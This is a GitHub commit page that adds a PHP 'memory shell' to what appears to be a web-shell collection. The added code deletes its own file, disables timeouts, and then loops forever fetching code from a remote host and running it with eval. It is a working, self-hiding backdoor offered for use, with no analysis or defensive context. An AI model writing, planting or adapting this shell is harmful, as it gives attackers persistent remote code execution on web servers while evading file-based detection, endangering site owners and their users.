add MemphpShell @MemShell 👍

from :https://github.com/jweny/MemShellDemo
This commit is contained in:
tennc 2021-05-26 23:04:25 +08:00 committed by GitHub
parent 89d889b70f
commit 28770e0fc8
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -0,0 +1,13 @@
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
echo "success";
$remote_file = 'http://10.211.55.2/111/test.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
echo "xunhuan";
sleep(5);
};
?>